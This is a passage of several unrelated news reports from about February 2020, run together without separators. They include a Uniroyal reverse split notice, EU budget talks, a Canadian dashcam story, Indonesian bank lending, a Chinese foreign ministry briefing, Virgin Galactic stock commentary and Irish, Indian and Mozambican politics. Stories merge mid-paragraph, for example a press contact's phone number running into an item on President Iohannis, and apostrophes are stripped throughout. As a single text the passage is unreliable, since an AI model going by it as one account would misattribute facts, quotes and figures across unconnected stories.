Thereafter, the Board of Directors approved the filing of the Companys Amended and Restated Articles of Incorporation to effect the 1-for-5 reverse stock split of the Companys common stock on January 21, 2020. The reverse stock split is being implemented to increase the per share trading price of the Companys common stock for the purpose of creating a capital structure that may facilitate further potential business and financing transactions. The reverse stock split does not have any impact on the voting and other rights of the stockholders and will have no impact on the Companys business or any of its outstanding indebtedness. This will reduce the Companys outstanding ordinary common stock from approximately 17.1 million shares to approximately 3.4 million shares and its outstanding Class B common stock from approximately 1.6 million shares to approximately 324,000 shares. No fractional shares will be issued in connection with the reverse stock split. Stockholders who would otherwise hold a fractional share of the Companys common stock will receive payment in cash in lieu of any such resulting fractional shares of common stock, as the post-reverse-split amounts of common stock will be rounded down to the nearest full share. Such cash payment in lieu of a fractional share of common stock will be calculated by multiplying such fractional interest in one share of common stock by the trading price of the Companys common stock in the last transaction reported immediately preceding the effective time and rounded to the nearest cent. The Company has retained its transfer agent, Continental Stock Transfer and Trust Company, N.A. (Continental), to act as its exchange agent for the reverse split. Shareholders with shares held in certificate form will receive from Continental instructions regarding the exchange of their certificates. Shareholders that hold shares in book-entry form or hold their shares in brokerage accounts are not required to take any action and will see the impact of the reverse stock split reflected in their accounts, subject to brokers particular processes. Beneficial holders of Uniroyal Global Engineered Products, Inc. (UNIR) common stock are encouraged to contact their bank, broker, custodian or other nominee with questions regarding procedures for processing the reverse stock split. About Uniroyal Global Engineered Products, Inc. Uniroyal Global Engineered Products, Inc . (UNIR) is a leading manufacturer of vinyl-coated fabrics that are durable, stain resistant, cost-effective alternatives to leather, cloth and other synthetic fabric coverings. Uniroyal Global Engineered Products, Inc.s revenue in 2018 was derived 66.2% from the automotive industry and approximately 33.8% from the recreational, industrial, indoor and outdoor furnishings, hospitality and healthcare markets. Our primary brand names include Naugahyde, BeautyGard, Flame Blocker, Spirit Millennium, Ambla, Amblon, Velbex, Cirroflex, Plastolene and Vynide. Forward-Looking Statements: Except for statements of historical fact, certain information contained in this press release constitutes forward-looking statements, including, without limitation, statements containing the words believe, expect, anticipate, intend, should, planned, estimated and potential and words of similar import, as well as all references to the future. These forward-looking statements are based on Uniroyal Global Engineered Products, Inc.s current expectations. The Company cautions investors that any forward-looking statements made by the Company are not guarantees of future performance and that a variety of factors could cause the Companys actual results and experience to differ materially from the anticipated results or other expectations expressed in the Companys forward-looking statements. The risks and uncertainties which may affect the operations, performance, development and results of the Companys business include, but are not limited to, the following: uncertainties relating to economic conditions, uncertainties relating to customer plans and commitments, the pricing and availability of equipment, materials and inventories, currency fluctuations, technological developments, performance issues with suppliers, economic growth, delays in testing of new products, the Companys ability to successfully integrate acquired operations, the Companys dependence on key personnel, the Companys ability to protect its intellectual property rights, the effectiveness of cost-reduction plans, rapid technology changes and the highly competitive environment in which the Company operates. Readers are cautioned not to place undue reliance on these forward-looking statements, which speak only as of the date the statement was made. Uniroyal Global Engineered Products, Inc. Public Relations : TTC Group, Inc. Vic Allgeier, 646-290-6400 President Klaus Iohannis met on Friday morning with European Council President Charles Michel and President of the European Commission Ursula von der Leyen, after the works of the extraordinary meeting of the European Council regarding the 2021-2027 multiannual budget of the EU had been interrupted. European Council President Charles Michel interrupted on Thursday evening the summit in order to carry out bilateral negotiations with all heads of state and government attending the meeting, in the attempt to reach an agreement regarding the EU's long term budget for 2021-2027.The works of the extraordinary meeting of the European Council are to be resumed on Friday, when the European Council President is expected to submit a new proposal regarding the multiannual budget of the EU.The extraordinary summit of the European Council started on Thursday afternoon and was interrupted after four hours of talks.President Klaus Iohannis said on Thursday, prior to the extraordinary meeting of the European Council, that he wishes for Romania to receive sufficient money for cohesion and agriculture in the future multiannual budget of the EU and, overall, a higher budget that the one of the previous period."There is a budget negotiation where everyone is trying to maximize their chances. My ambition is that we receive enough money for cohesion, that we receive enough money for agriculture and that we get a higher budget than the one in the previous budgetary period," Iohannis said before attending the extraordinary meeting of the European Council aimed at the EU's multiannual financial framework for the period 2021 - 2027.The head of state voiced skepticism that a solution regarding the multi-annual budget would be reached these days."I allow myself to be skeptical in this regard. I asses the chances of success somewhere at 50-50," he added. A dashboard camera has captured the terrifying moment a driver was forced to veer off the road just seconds before he was struck by a stolen car speeding down the wrong side of the highway. The incident occurred just after 4am Monday on the Queen Elizabeth II highway between Calgary and Edmonton in Canada. Driver Ian Burgess, whose dashboard camera caught the heart-stopping moment, was commuting to work along the icy four-lane highway in the dark before he noticed an SUV driving directly toward him. Footage shows that the SUV did not have its lights turned on, meaning that it was only visible from just a few feet out. The clip reveals that Burgess quickly veered his own car over into the far-right lane, before the oncoming vehicle followed suit and continued to drive directly toward him. Ian Burgess' dashboard camera captured the terrifying moment he was forced to veer off the road just seconds before he was struck by a stolen car (seen in the distance without its headlights turned on) Narrowly avoiding a head-on collision, Burgess veered off the road and into a ditch. Luckily, his car escaped without any damage. Burgess later told Global News he was 'shaken up' by the incident. 'My heart was definitely pounding but I'm really happy that there wasn't a worse outcome,' he told the publication. 'Everyone just kept looking at the video. They couldn't believe it. They couldn't believe that no one was killed and that I was able to drive away from it.' Burgess quickly veered his own car over into the far-right lane, before the oncoming vehicle followed suit and continued to drive directly toward him Police confirmed the SUV had been stolen from Calgary just hours earlier. The thief inside that vehicle was fleeing from cops at the time he almost collided with Burgess. Authorities did not manage to arrest the assailant, and instead recovered the car, which was abandoned, the next day. Share this article Whatsapp Facebook Twitter Linkedin Riska Rahman (The Jakarta Post) Jakarta Fri, February 21, 2020 11:43 691 7f440ff09e92db75a02bbad2065c63d5 1 Business BCA,Bank-Central-Asia,loan-growth,COVID-19 Free Bank Central Asia (BCA), Indonesias biggest private lender by market value, has lowered its loan growth target for this year, arguing that the coronavirus outbreak and stock market scandals may affect the banks customers. BCA president director Jahja Setiaatmdja said on Thursday that he sees the banks loan growth at 5 to 7 percent this year, down from an initial projection of 8 to 10 percent. He added that lending in the overall banking industry was likely to grow at a similar rate, although the Financial Services Authority (OJK) expects 11 percent loan growth this year. With the current conditions, we are bracing for the impact on our customers, Jahja told a press briefing on Thursday. Jahja explained that the 2019 novel coronavirus (COVID-19) outbreak had prompted the Chinese government to limit the countrys economic activities, including factories, to contain the virus. This could limit raw material demand from various industries, which could in turn disrupt business operations of Indonesian companies. The outbreak has also resulted in travel restrictions to and from China, which would affect the tourism-related industries and businesspeople in Indonesia. More than 40,000 hotel bookings in Indonesias top tourism destination of Bali had been canceled. Adding to downside risks, Jahja continued, were capital market scandals that had led to insurance companies failing to pay out customers and to the closure or suspension of mutual fund products. Moreover, there have been many problems in the capital market, mutual funds, insurance. We need to prepare for the impact on our customers, Jahja said. The Attorney Generals Office (AGO) has ordered the suspension of 800 securities accounts related to Jiwasraya as part of its ongoing investigation into alleged corruption at the ailing insurer that resulted in its failure to repay policyholders to the tune of Rp 16 trillion (US$ 1.17 billion) as of January. Several mutual fund products also defaulted on payouts, with some asset managers, including Nareda Aset Manajemen and Minna Padi Aset Manajemen, being prohibited from selling products. For BCA, these capital market problems could pose a risk to the consumer banks business, but the lender remains optimistic that, as it lowers loan growth projection, bad debt would remain steady at a nonperforming loans (NPL) ratio of 1.3 percent, which would be similar to last years achievement. We will keep a close eye on new credit to not turn into bad credit, Jahja said. BCA director Rudy Santoso also said the company would try to restructure loans it considered at risk and write off some of its bad loans to keep the ratio at a healthy level. Commercial banks around the country are struggling with rising bad loans as a global and domestic economic slowdown created an unfavorable business climate. Against that backdrop, publicly listed BCA recorded outstanding loan growth of 9.5 percent to Rp 603.74 trillion (US$43.7 billion) in 2019, supported by double-digit growth from the corporate segment and the commercial and small and medium enterprises (SMEs) segment. That compares with 6.08 percent growth in overall commercial banking last year. BCA booked Rp 28.5 trillion in profit last year, up 10.5 percent from 2018, as its operating income grew by 13.6 percent to Rp 71.62 trillion. Jerusalem: Israeli Prime Minister Benjamin Netanyahu has announced plans to build thousands of new housing units in contested East Jerusalem, which critics say could doom any prospect of a deal with the Palestinians. It is likely to be years before any of the 6200 units would be built, but the announcement, 11 days before a national election, was widely seen as an effort by Netanyahu to solidify support among his right-wing base. Israeli Prime Minister Benjamin Netanyahu stands at an overview of the Israeli West Bank Israeli settlement of Har Homa where on Thursday he announced a new Israeli neighbourhood is to be built. Credit:AP The homes are slated for two areas in East Jerusalem, which was captured by Israel from Jordan in the 1967 war and has been long demanded by Palestinians as the capital of a future independent state. Israel unilaterally annexed the area as part of its capital, a move not recognised by most countries but endorsed by US President Donald Trump's Middle East plan. "We are joining up all the parts of unified Jerusalem," Netanyahu announced in a video shot against the backdrop of Har Homa, one of the two neighbourhoods where the new homes will be built. Police have arrested a Philadelphia man accused of being part of a ring that stole nearly $188,000 worth of jewelry from a Lancaster store on Jan. 1, WGAL-8 is reporting. Lancaster police Lt. Bill Hickey confirmed the arrest of Duanne Pierce, 56. He said a Lancaster detective was in the process of bringing Pierce back to Lancaster on Friday afternoon. Hickey said Pierce is accused of a similar theft in Virginia, resulting in a warrant that allowed Philadelphia police to arrest him. Two others are wanted in the theft which took place at a Kay Jewelers store at Park City Center. According to WGAL, police say Pierces accomplices distracted employees while he entered an off-limits area and stole layaway items. He also is accused of taking a key and using it to open a case containing diamonds, according to WGAL. Hickey said police still dont know what became of the stolen jewelry. SEATTLE Four Americans who tested positive for the new virus that caused an outbreak China are being sent to a hospital in Spokane, Washington, for treatment, officials said Thursday. The four were passengers on the Diamond Princess cruise ship and were flown back to the U.S. over the weekend, according to a spokeswoman for the Department of Health and Human Services. They were being transferred from Travis Air Force Base in California, hospital officials said. Two patients arrived at the hospital Thursday with two more expected soon, said Christa Arguinchona, who manages a special isolation unit at Sacred Heart Medical Center. The hospital is one of 10 in the nation funded by Congress to treat new or highly infectious diseases. The risk to the community from this particular process is zero, said Bob Lutz, of the Spokane Regional Health District at a briefing Thursday at the hospital. When it docked in Japan, the Diamond Princess was put under quarantine, but more than 600 passengers and crew have been infected with the coronavirus that has caused a large outbreak in China. The virus causes a flu-like illness and can lead to pneumonia. Over 300 American passengers were flown home on U.S.-chartered airplanes last weekend, including 14 with infections. They were all placed in quarantine at military bases in California and Texas or a hospital in Omaha, Nebraska. It wasn't immediately clear if the four transferred patients from Travis were among the initial 14 said to be infected, or were new cases. Previously, hundreds of Americans were evacuated from the central China city of Wuhan, the epicenter of the outbreak, and most have completed two weeks in quarantine in the U.S. In California, more than 115 people ended their quarantines this week at a pair of military bases. One person at Marine Corps Air Station Miramar near San Diego tested positive for coronavirus and remains at a local hospital. Another in close contact with that person remains under quarantine. Also, 57 Americans who were held at a Nebraska National Guard camp left Thursday, with all in good health. They've not been asked to wear masks or take any other health measures, said Joe Smith, a spokesman for the Centers for Disease Control and Prevention. There is no need. These are healthy people, he said. Fifteen cases of the virus have been diagnosed in the U.S., mostly travelers who became ill after returning from earlier trips to China. The first reported case of the virus in the U.S. was a Washington state resident. Other Americans have since been diagnosed while in Asia. --The Associated Press Foreign Ministry Spokesperson Geng Shuang's Daily Briefing Online on February 21, 2020 2020/02/21 I'd like to share the latest numbers with you first. According to this morning's update from the National Health Commission, February 20 saw 2,109 patients cured and discharged from hospital in China's mainland, bringing the total number of cured cases to 18,264. Q: State Councilor and Foreign Minister Wang Yi attended the Special ASEAN-China Foreign Ministers' Meeting on the Coronavirus Disease 2019 (COVID-19) yesterday. Could you share with us more details? Does this conference have any special significance for regional countries' joint response to COVID-19? A: Shortly after the COVID-19 outbreak, China and ASEAN decided to hold this special foreign ministers' meeting. It is of special significance as the first multilateral foreign ministers' meeting focusing on public health security in regional countries. This successful meeting achieved positive outcomes and published the Statement of the Special ASEAN-China Foreign Ministers' Meeting on the Coronavirus Disease 2019 (COVID-19). In parallel to the meeting, clinical specialists from China and ASEAN countries held a video conference, holding fruitful exchanges on therapeutic plans and treatment experiences. Chinese State Councilor and Foreign Minister Wang Yi and ASEAN foreign ministers reached important consensus on jointly fighting the COVID-19 outbreak, pledging to pull together to overcome the current difficulties. State Councilor Wang talked about the forceful and effective measures China has taken to fight the epidemic and proposed the following four points: first, strengthen coordination for joint disease prevention and control; second, take a long-term perspective and establish long-acting cooperation mechanism; third, rationally deal with this epidemic and conquer panic; fourth, turn the crisis into opportunity and foster new cooperation growth points. These proposals have won high acclaim from ASEAN foreign ministers attending the meeting. ASEAN countries expressed appreciation for the strong measures China has taken in an open, transparent and responsible manner; recognition for its contribution to regional and global public health security; and confidence in its early victory over the epidemic. They all stated that ASEAN and China should enhance solidarity and cooperation, do their utmost to mitigate the outbreak's impact on exchanges and cooperation, share experience, and jointly strengthen regional public health security capabilities. There is something special about this heart-warming and inspiring meeting. Before it started, ASEAN foreign ministers joined hands on stage, sending the message "stay strong" to Wuhan, China and ASEAN. This is another vivid example of the fine tradition of mutual assistance between ASEAN and China. It is also an epitome of regional and international support for China's fight against the virus. We firmly believe that China-ASEAN relations will be elevated to a new high in the joint fight against the epidemic, and the building of a China-ASEAN community with a shared future will make solid progress after the test of the epidemic. Q: The Japanese government delivered another batch of medical assistance to Wuhan on the fifth chartered plane to pick up its nationals. Many Chinese netizens thanked Japan and asked it to take good care of its people and leave enough supplies at home to prevent the spread of the virus. The Chinese embassy in Japan recently announced China's donation of coronavirus nucleic acid test kits to Japan National Institute of Infectious Diseases. How do you see such interaction between China and Japan? A: Like I said the other day, virus knows no borders, but the worst of times reveals the best in people. Faced with the outbreak, it is only natural for China and Japan, as friendly neighbors, to deal with it hand in hand. After the epidemic struck, the Japanese government and people provided valuable support and assistance to China at the earliest time possible. We will remember and hold dear such friendship. The Chinese people are also following the spread of the virus in Japan with care and concern. We completely relate to what they are going through. To quote a line from the Book of Songs, "You throw a peach to me, I give you a white jade for friendship". Though we are still facing a severe situation at home with rather tight medical supplies, we will further share information and experience with Japan and offer as much support and assistance as possible based on its need. When lending each other a helping hand, we gain friendship and mutual trust. This is the very epitome of how China and the whole international community have been dealing with global challenges altogether. China will remain in close communication, coordination and cooperation with Japan to jointly protect the lives and health of the two peoples and make positive contributions to upholding regional and global public health security. Q: Indian media reported on February 20 that China has agreed to join India and other countries in sending a strong message to Pakistan and urging it to fulfill commitment to fight terror financing and money laundering. Reports say this signals a major shift in China's position since it has been a staunch supporter for Pakistan within the Financial Action Task Force (FATF). What's your comment? A: China's position on the relevant issue remains unchanged. Pakistan has made enormous efforts in improving its counter-terror financing system, which has been recognized by the vast majority of FATF members at its latest plenary meeting concluded on February 20 in Paris. It was decided at the meeting that Pakistan will be allowed more time to continue implementing its action plan. China maintains that the purpose and aim of the FATF is to support countries' efforts to strengthen institutions against money laundering and terror financing and safeguard the international financing system. We stand ready to work with relevant parties to offer more assistance to Pakistan in this area. Q: The Iranian health ministry confirmed five COVID-19 cases in Iran, of which two have been fatal. I wonder if you could comment on that? A: China closely follows the COVID-19 situation in Iran and expresses condolences over the passing of the two patients. In this fight against the virus, China and Iran have been standing firmly together. The Iranian government and people provided China with valuable support and help, and Foreign Minister Zarif was the first foreign minister who publicly voiced support for China. China will maintain close communication, coordination and cooperation with Iran to defeat the epidemic as soon as possible and safeguard the health of our two peoples and global public health security. Q: Why is China delaying giving permission to the Indian flight coming in with medical supplies and then to evacuate Indians from Hubei? A: China has been assisting India in flying home its citizens. By far, more than 400 Indian nationals in Hubei have returned to New Delhi. The competent departments on the two sides are still in communication regarding arrangements for the remaining 80 Indian nationals to be brought back. There is no such thing as China delaying granting flight permission. The Chinese government attaches high importance to health of foreign nationals in China. We have offered them all necessary help and will continue to do so. At present, China's prevention efforts have been proven to be effective. We hope that relevant countries will respect the WHO's recommendations and avoid overreacting. China will continue to work with the international community to fight against the epidemic and promote the global cause of public health. Q: Both candidates Bloomberg and Biden pointed to China's climate record in last night's democratic debates voicing criticism and praise. Care to comment? Biden for example charged that China was exporting coal through the BRI to hide carbon emissions in other countries. A: I have no comment on the election as it is a US domestic affair. Regarding the issue of climate change, I want to reaffirm our commitment to green and sustainable development and ecological conservation. We have been working actively to deal with climate change and participating in international cooperation. Our contributions are witnessed and commended by the international community. We will continue to work with other countries in implementing the Paris Agreement and contributing to global efforts to address climate change. The Portland woman who was fired from her job with U.S. Bank after a Christmas Eve act of kindness has been hired by a credit union that created a job especially for her. Emily James will be joining Community First Credit Union in Santa Rosa, California, next month as a training supervisor. It was exactly what I wanted, James said. I want to be training, mentoring and helping others. Ill be training new hires as well as doing follow-up training. The head of human resources for Community First Credit Union was among the dozens of hiring managers who reached out to The Oregonian/OregonLive after James story ran, wanting to reach her. James, who worked as a senior banker at a U.S. Bank call center in Portland, was fired on Dec. 31 for what she was told was an unauthorized interaction with a customer. Unable to get a hold that U.S. Bank had placed on a customers paycheck released on Christmas Eve, James received permission from her supervisor to drive to the gas station where the customer was stranded and give him $20 in cash. Both James, and her supervisor, Abigail Gilbert, were fired over the incident. The story triggered outrage from across the country for weeks. But it wasnt until New York Times columnist Nicholas Kristof wrote about the firings that U.S. Bank CEO Andy Cecere called both James and Gilbert, offering them their jobs back. Gilbert accepted, but James did not want to return to her former employer. Community First Credit Union flew James to Sonoma County, California, to interview, and James said the not-for-profit financial cooperative felt like a good fit. We read about Emily getting fired for an act of kindness and humanity," said David Williams, chief marketing and human resource officer for Community First Credit Union, in a press release. "At the same time, we had an employee do a similar act of kindness. We gave her an award for it. Helpfulness is in our DNA, and we are convinced Emily has that same DNA. James will be moving to Santa Rosa in Californias wine country for her new position, along with her beloved dogs, HarleyQuinn and Domino. I did not get to go wine tasting, but its on my to-do list, James said. -- Samantha Swindler; sswindler@oregonian.com; @editorswindler Subscribe to Oregonian/OregonLive newsletters and podcasts for the latest news and top stories. Maharashtra chief minister Uddhav Thackeray will meet Prime Minister Narendra Modi in New Delhi on Friday evening, along with Congress president Sonia Gandhi and senior Bharatiya Janata Party leader LK Advani. The meetings are scheduled between 5.30 pm and 8 pm. In what is being termed as a courtesy call this will be Uddhav Thackerays first official meeting with all three leaders since he took charge as the chief minister of Maharashtra in November. Accompanied by minister for protocol, tourism and environment, Aaditya Thackeray, the CM left for Delhi from the Mumbai airport at about 1.00 pm on Friday afternoon. He is likely to be joined by senior Maharashtra Vikas Aghadi (MVA) ministers in New Delhi, ahead of the scheduled meetings. Shiv Sena leader and Member of Parliament Sanjay Raut confirmed on Thursday about the meeting between the chief minister and the Prime Minister, and a senior Sena leader on Friday confirmed to Hindustan Times, that Thackeray will also meet Sonia Gandhi while in Delhi. He said, Of course he has planned to meet Sonia ji. There is no doubt about that. There is no agenda for this meeting as such. The meeting between the Congress party chief and the CM comes in the midst of a difference of opinion in the MVA between implementation of the NPR in the state. While Congress and NCP have reservations about its implementation, the CM had indicated earlier this week that he will not block implementation of the NPR in Maharashtra. Indicating that development issues pertinent to Maharashtra such as funds for state issues and infrastructure projects would be discussed, Raut said on Friday, Other matters regarding the evolving centre state relations will also be discussed. These are routine discussions, when leaders who hold important positions meet. While the agenda for meetings between the chief minister, PM Modi and Sonia Gandhi has not been decided, officials in the CMs office said contentious issues like implementation of the National Population Register, handing over of the Elgar Parishad case to NIA, and GST relief funds from the Centre to state are likely to be discussed. Almac recently hosted Souderton Area High School science teachers to manufacturing and development facilities at the North American headquarters of the global health sciences company on Fretz Road in Lower Salford. The high school participates with Almac in Teacher in the Workplace days biannually, as a part of the school districts innovative Pathway 360 degrees program, designed to ensure that all students are considering their post-high school goals as they plan and select courses during their four years in high school. The science teachers who elected to attend Almacs open house were given tours of the contract manufacturing and development organizations facilities, including the analytical science lab. An Almac spokesman said the visit demonstrates the companys unwavering commitment to STEM education and our Lower Salford community. An attempt was made to steal an ATM machine in Co Antrim this morning. It happened at a petrol station in the Largy Road area of Ahoghill shortly after 2am. The Trump Administrations $100 million security and military aid package to Baku largely funds joint U.S.-Azerbaijani Iran-facing initiatives while enabling new offensive capabilities and freeing up other military resources for the Aliyev regimes ongoing aggression against Artsakh and Armenia according to a review, this week, of detailed budget breakdowns provided by the Congressional Research Service, the Armenian National Committee of America said. The largest share of U.S. security assistance to Baku is the Administrations allocation of $101.5 million in FY18 and FY19 for Section 333 Building Partner Capacity assistance for Maritime Security for the Caspian Sea and Southern Border Security programs. This section, of the National Defense Authorization Act, was established in FY17 to build the capacity of foreign national security forces, including for maritime and border security operations and military intelligence operations. Between FY04 and FY09, Azerbaijan received approximately $64 million in Caspian Sea Maritime Proliferation Prevention Program (Cooperative Threat Reduction), and roughly $10 million in FY11 Section 1206 Global Train and Equip assistance. We are troubled that the Trump Administrations $100 million security aid package to Baku adds substantial new equipment, tactical abilities, and offensive capacities to the Azerbaijani arsenal, while freeing up its state resources for renewed cross-border action against Artsakh and Armenia, said ANCA Government Affairs Director Tereza Yerimyan. American taxpayers shouldnt be asked to provide a single dollar in military aid to an overtly and unapologetically aggressive Aliyev regime that as recently as a week ago in Munich, Germany renewed threats to attack Artsakh and publicly laid claim to Yerevan and all of Armenia as Azerbaijani territory. The Trump Administration should either stop sending military aid to Baku or start matching every dollar they send to Azerbaijan with another to Armenia. In testimony submitted to the House Appropriations Committee this week, the ANCA requested a provision in the foreign aid bill requiring that: No funds appropriated or otherwise made available under this Act may be provided to the Government of Azerbaijan until the President determines, and so reports to the Congress, that the Government of Azerbaijan is taking demonstrable steps to cease all blockades and other offensive uses of force against Armenia and Nagorno-Karabakh. This testimony, submitted by Government Affairs Director Tereza Yerimyan, supported this request by citing Azerbaijans obstruction of the Royce-Engel Peace Proposals, opposition to the U.S.-Artsakh Travel and Communication Resolution (H.Res.452), and continued cross-border attacks against Artsakh and Armenia. Sustainability and resilience of buildings are now the top priorities for landlords and tenants as they recalibrate their properties to cope with extreme weather events and climate change. In what was once a tick-of-the-box exercise as part of the sustainability rating aspect of a lease, the smoke that engulfed office towers in Sydney and Melbourne in December, has bought it to the fore of the 'must-do' list. Owners of the many office projects are now working furiously to ensure the properties are weather-proof and can handle the changing climate conditions. And the assets being rebuilt are also under close scrutiny by investors, tenants and landlords. Artist's impressions of AMP's new Quay Quarter Tower at Circular Quay in Sydney. The Sydney Law Courts and the home of the Sydney Morning Herald in Pyrmont were evacuated in mid-December when the bushfire smoke seeped in and set off the alarms. It took just six weeks since I last wrote about it for shares of Virgin Galactic (NYSE:SPCE) to triple in value. What started as a rosy stock market analyst note on the future potential of the space travel venture has turned into a mad dash to buy up shares -- from large institutional investors to small mom-and-pop traders trying to catch the ship before it launches. The swings in value have been wild, with intraday action sending shares up and down by double-digit percentages. I did speculate that the company could be a long-term success, but the stock price tripling in a year -- let alone in a little over a month -- wasn't in my mind as a possibility. At the time, I (regrettably) passed on a purchase -- although this booming stock is most certainly overcooked at this point. It's time to cut to the chase and talk investing, not speculation. Space tours now, space travel later Virgin Galactic is another company started by billionaire businessman Sir Richard Branson (of Virgin Airways and Virgin Mobile fame, among other companies). The company has sold all of the seats for its first space tourism voyages, expected to commence later in 2020. At $250,000 a seat, the tours are for a select few, but the early interest is encouraging. The company's aircraft, VSS Unity, was also recently relocated from the manufacturing facility in Mojave, California, to Virgin Galactic's headquarters at Spaceport America in southern New Mexico, where it will undergo additional flight testing and preparations. Adding to investor (and speculator) hopes that space tours will soon be viable was the news that Elon Musk's SpaceX was the first company to receive approval from NASA to make a commercial passenger flight to space -- likely in 2021 or 2022. Expectations are running high that Virgin will be close behind in receiving approval as well. Beyond all the current fuss, what had analysts over at Morgan Stanley originally excited about the stock was that it sees the commercial space-based travel industry being worth about $800 billion in a couple of decades' time. That's not flights for the rich and famous, but rather space flights as a disruptor of the current airline travel industry -- which is projected to generate nearly $900 billion in commercial flight revenue worldwide this year. Granted, Virgin Galactic has competition. There's the already mentioned SpaceX, as well as Jeff Bezos' project Blue Origin, which has similar aspirations. But Virgin Galactic is the only one that's a publicly traded stock. That explains all the hype and scramble to scoop up shares, thus sending the stock higher on its voyage to kick off 2020. What we have here is a bubble Being the only game in town (at least when it comes to publicly traded space travel companies) doesn't make Virgin Galactic a perfect stock to own for the space industry, though. On the contrary, investors should know that this is a start-up phase business. Through the first nine months of 2019 (the final quarter of the year will be reported on Feb. 25), Virgin Galactic lost $138 million on just $3.25 million in revenue. With just $85.5 million in cash and equivalents at the end of the third quarter, Virgin is going to need to find additional funding pretty quick. Granted, that shouldn't be too big a problem given the interest shares have been receiving as of late. With even large investors divulging stakes in the space start-up and prices soaring, Virgin will likely sell new stock at some point to raise cash. That extra supply will likely put some downward pressure on prices. Put simply, what goes up must come down, even a rocket ship. All of this is to say that investors should handle Virgin Galactic with care. Don't chase those big upward moves; remember, investment wealth is made over the course of years, less so with lucky trades. Also, bear in mind that after its epic run, this company now carries a market cap of $7.6 billion -- currently with a pittance in the way of sales, less than $100 million in booked reservations, and cash burn that exceeds both amounts. There is lots of work to be done to get this operation off the ground. Any position purchased should thus be very small. For the sake of illustration, if I decided to buy -- which is decidedly less compelling to me than it was in January -- it would be using less than half a percent of my investable net worth. But why so little? After all, the air travel industry is massive, and if Virgin Galactic can disrupt it there could be far more gains ahead. There's also the track record of the company's billionaire backer to consider. Nevertheless, I'd personally wait until the fuel propelling the growth stock higher in recent weeks burns off a bit. A very small position (if any) is advisable as it would give a shareholder room to purchase more on the inevitable dips -- without making Virgin Galactic into a core portfolio holding -- on what is sure to be a very wild ride in the months, quarters, and years ahead. Former NASCAR driver Candace Muzny was found dead in her Oklahoma City home on Monday, police said. The medical examiners office ruled Muznys cause of death an accidental drowning, KFOR reported on Wednesday. Oklahoma police found the 43-year-old dead in her Ski Island home on Monday evening, initially calling the death suspicious but saying there were no obvious signs that a homicide occurred, reported local station KOCO. Muznys neighbor, Raushae Jones, said she saw family gathered outside Muznys home on the 10100 block of Island View Drive at about 5 p.m. and knew there was something wrong. I just pulled in right there, and the woman was already in the front crying, and she was on the phone with somebody, Jones told KRON. They always seemed like nice people, so I didnt reallyI dont know. It was just shocking, Jones said. Nothings ever happened here, like ever, Jones added. Muznys death comes just three days after she was released from jail on Feb. 14. She was arrested and charged in January for allegedly hitting a nail technician for speaking Vietnamese to her boss, as well as assaulting the responding police officer with a pocketknife, reported KWTV News 9. She had all of her stuff everywhere, and she was already going a little nuts, said the nail technician Tiffany Nguyen of the nail salon Muzny visited in January. Muzny appeared twice in the NASCAR K&N Pro Series, once in 2011 and once in 2012, according to Racing-Reference.info. She also formed her own racing team, called CNM Racing, in Mooresville in 2009 and was vice president of Arrow Wrecker Service, a towing operations company founded in 1969 by Al Muzny, presumably her father. In a major upset for the Mamata Banerjee-led government in West Bengal, the Jalpaiguri circuit bench of the Calcutta High Court on Thursday (February 20) ruled that municipal elections in Darjeeling will not be held till April 30. The court ordered that the status quo be maintained and fixed April 24 as the next date of hearing in the matter. A single bench of Justice Amrita Sinha was hearing a writ petition filed by 15 councillors who were challenging the state governments decision to dissolve the elected body. Anand Bhandari who is representing the councillors said, "It has been six months since the matter is pending in court, and there is still two-and-a-half-years left for the end of the current term of the municipality. We have requested the court to hear the case and issue an interim order to not hold any elections in Darjeeling." It was then that the court then passed the status quo order to not hold municipal elections in Darjeeling till April 30. On May 2019, the municipal board reached an impasse after the Binay Tamang faction of the Gorkha Janmukti Morcha was asked to prove its majority in the board. Several councillors switched parties after BJP won both the Darjeeling Lok Sabha and Assembly seats. The state government stepped in and dissolved the Darjeeling Municipal Board and appointed Additional District Magistrate as an administrator in June 2019. The 15 elected councillors of Darjeeling filed a writ petition challenging the government's decision in court. Taoiseach Leo Varadkar has called on Sinn Fein leader Mary Lou Mc Donald to disband the IRA Provisional Army Council. It comes after Garda Commissioner Drew Harris said that an IRA PAC still oversees Sinn Fein. Mr Varadkar said: "Why doesn't McDonald disband the Army Council and the PIRA - or if she cannot - repudiate them and sever all links and do so publically and unequivocally?" Earlier, Drew Harris agreed with a PSNI assessment that a scaled down military structure still exists and that it is involved in the running of Mary Lou McDonalds party. A 2015 report by the PSNI and intelligence agency MI5, commissioned by the British government, found that the IRA still had a Provisional Army Council. It said that Provisional IRA members believe that the PAC oversees both PIRA and Sinn Fein with an overarching strategy. We judge this strategy has a wholly political focus and that the PAC and PIRA were committed to the peace process. Expand Close Garda Commissioner Drew Harris. Picture: Kyran O'Brien / Facebook Twitter Email Whatsapp Garda Commissioner Drew Harris. Picture: Kyran O'Brien It also said that some PIRA members are involved in the storage of remaining weaponry. The PSNI told the Irish Times that its assessment has not changed. Sinn Fein rejects the analysis by the PSNI. Ms McDonald has repeatedly insisted that there are no shadowy figures overseeing the party saying: nobody's pulling my strings. Mr Harris this afternoon said: I am aware of the PSNI and British security services assessment and we do not differ from that view. A Sinn Fein spokesperson this evening said: "It will be lost on no one that this nonsense is being repeated again the day after a vote in the Dail where, for the first time ever, someone other than a Fianna Fail or Fine Gael nominee won the most votes for Taoiseach." Islamic terrorism spreading in majority-Christian Mozambique; 700 dead, 100,000 displaced Email Print Img No-img Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment Over 100,000 people have been displaced and at least 700 have died in the majority-Christian country of Mozambique since 2017, as the spread of radical Islamic extremism in Africa is starting to plague the continents southeast region. This month, the U.N.'s High Commission for Refugees said it is boosting its response in Mozambiques northeastern Cabo Delgado province, an oil-rich coastal region on the Indian Ocean. Although southeast Africa was once considered relatively peaceful compared to its counterparts in the north, theres concern that the region is becoming a foothold for militants that appear to be aligned with the Islamic State. The Institute for Security Studies, an Africa-based think tank, published a report last month stating that as many as 350 terror incidents have occurred in Mozambique since the local jihadi group Ahlu Sunnah Wal Jammah simultaneously attacked police and military bases in October 2017. However, the UNHCR warns that the most recent weeks have proved to be the most volatile period as attacks are now spreading across most of Cabo Delgados 16 districts. Cabo Delgado is one of the least developed regions in the country. According to UNHCR spokesperson Andrej Mahecic, hundreds of villages have been burned and abandoned because of the indiscriminate campaign of terror. Armed groups have been randomly targeting local villages and terrorizing the local population, Mahecic said at a press briefing earlier this month in Geneva, Switzerland. Those fleeing speak of killings, maiming, and torture, burnt homes, destroyed crops and shops. Mahecic explained that there have also been reports of beheadings, kidnappings, and 